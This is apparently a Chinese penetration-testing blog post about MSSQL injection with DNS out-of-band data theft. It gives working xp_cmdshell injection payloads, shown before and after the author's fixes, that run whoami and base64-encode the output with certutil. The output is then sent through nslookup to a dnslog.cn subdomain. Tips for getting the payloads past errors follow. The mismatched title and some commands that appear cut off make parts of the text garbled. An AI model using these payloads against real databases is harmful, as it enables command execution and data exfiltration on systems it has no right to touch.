mssql 为什么连接是sleeping 而不释放_MSSQL注入DNS带外问题解决

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享

0x01 前言

朋友@Sin在“对某系统实战练手”这篇文章中看到这种MSSQL注入DNS带外数据的利用方式,但是他在本地复现时遇到了一些问题,所以找我帮着给测试一下,正好闲着没事就看了一下,并在解决这个问题后给他写了这篇记录文。

0x02 正文部分

我们先来看下原作者给出的DNS带外数据命令行版,可以直接执行并通过dnslog接收命令回显。继续来分析一下这条命令的参数和实现的功能吧,cmd参数说明如下。
  • /c:执行字符串指定的命令然后终止,
  • /v:使用 ! 作为分隔符启用延迟的环境变量。

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=

170967c15cc2c47233bca2cc2b03db88.png

1、执行whoami命令写入到temp文件中,并使用certutil命令进行base64编码到temp2文件。

whoami > temp && certutil -encode temp temp2
5f5b395e693bc12e4d5a22fdd18585d9.png 2、使用findstr命令在temp2文件中搜索不包含"CERTIFICATE"的行内容写入到temp3文件,/L参数:按字使用搜索字符串,/V参数:只打印不包含匹配的行。
findstr /L /V "CERTIFICATE" temp2 > temp3
23feeb10c2d1ace3735d9dd0bbd1e77d.png 3、MYVAR变量等于temp3文件内容,FINAL变量=MYVAR.DNSLOG,最后用nslookup命令执行FINAL:nslookup cGVudGVzdC13aW4xMFxzaGFkb3c5DQo=.xhwls9.dnslog.cn,没有nslookup命令时可用ping命令替代,执行这条命令时必须加上cmd的/v参数。
set /p MYVAR=set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"
c1b51f489e33bab87d9705af498d0680.png

使用原作者给出的MSSQL注入DNS带外数据Payoad时出现了下图中的报错,笔者根据这个报错进行了一系列的测试,最终修改出以下可执行Payload,可以自己去对比一下它们之间的差别在哪。

修改之前:

exec master..xp_cmdshell "whoami>C:\ProgramData\temp%26%26certutil -encode C:\ProgramData\temp C:\ProgramData\temp2%26%26findstr /L /V ""CERTIFICATE"" C:\ProgramData\temp2>C:\ProgramData\temp3";exec master..xp_cmdshell "cmd /v /c""set /p MYVAR="";exec master..xp_cmdshell "del ""C:\ProgramData\temp"" ""C:\ProgramData\temp2"" ""C:\ProgramData\temp3""";
9a355eab9dd742f03a856c8849e2fa6c.png

修改之后:

exec master..xp_cmdshell 'whoami>C:\ProgramData\temp %26%26 certutil -encode C:\ProgramData\temp C:\ProgramData\temp1 %26%26 findstr /L /V "CERTIFICATE" C:\ProgramData\temp1>C:\ProgramData\temp2';exec master..xp_cmdshell "cmd /v /c""set /p MYVAR="";exec master..xp_cmdshell 'del "C:\ProgramData\temp*"';
34a1a26aab3b8b78879324c917fd6f52.png

0x03 注意事项

  1. CMD命令行下执行时直接用&&连接即可,而在URL提交时必须将&&用Urlencode进行编码;

  2. 出现“开头的 标识符 太长。最大长度为 128”报错时可尝试将最外边的双引号改为单引号;

  3. 第一条语句用findstr搜索"CERTIFICATE"字符串时必须用双引号,否则可能找不到指定字符;

  4. 第一条语句注意查看temp2内容是否正确,如果不正确或为内容为空时将无法带出相关数据;

  5. 第二条语句必须加上cmd的/v参数,否则可能即使不出现报错也无法带出相关数据;

  6. 第二条语句最外边的引号必须用双引号,单引号即使不出现报错也无法带出相关数据。


【往期TOP5】

基于协议判断主机是否出网

星外虚拟主机提权实战案例

Metasploit获取不到会话原因

TP-RCE绕过阿里云防护Getshell

看图识WAF-搜集常见WAF拦截页面


【推荐书籍】


b121e23e8a7ac5ae29228b25cb93db8f.png b70b502d979801bd77dc17685fff8fa6.gif  如果对你有所帮助,点个分享、赞、在看呗!b70b502d979801bd77dc17685fff8fa6.gif
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值